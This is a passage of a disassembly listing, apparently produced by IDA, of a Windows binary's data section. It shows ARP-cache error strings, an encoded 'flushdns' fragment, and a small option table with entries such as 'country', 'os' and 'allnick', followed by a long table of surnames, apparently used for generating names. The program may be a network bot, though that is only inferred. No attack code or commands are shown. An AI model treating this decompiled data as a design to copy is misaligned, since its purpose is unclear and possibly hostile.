aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_43011C	db  2Dh	; -		; DATA XREF: sub_40A7FD+45o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40A8D5+46o
					; sub_40C138+38o ...
		align 8
dword_430158	dd 6C616572h			dd 2 dup(0)
dword_430164	dd 0		off_430168	dd offset sub_40A97E	; DATA XREF: sub_40AD20+4Dr
aConst		db 'const',0
		align 8
		dd 1, 40A9EAh, 7474656Ch, 7265h, 0
		dd 2, 40AA48h, 706D6F63h, 2 dup(0)
		dd 3, 40AA95h, 6E756F63h, 797274h, 0
		dd 4, 40AB04h, 736Fh, 2	dup(0)
		dd 5, 40AB79h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AD8Dh, 0
off_4301E8	dd offset aAbdulrazak	; DATA XREF: sub_40A97E+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
		dd offset aAddison	; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
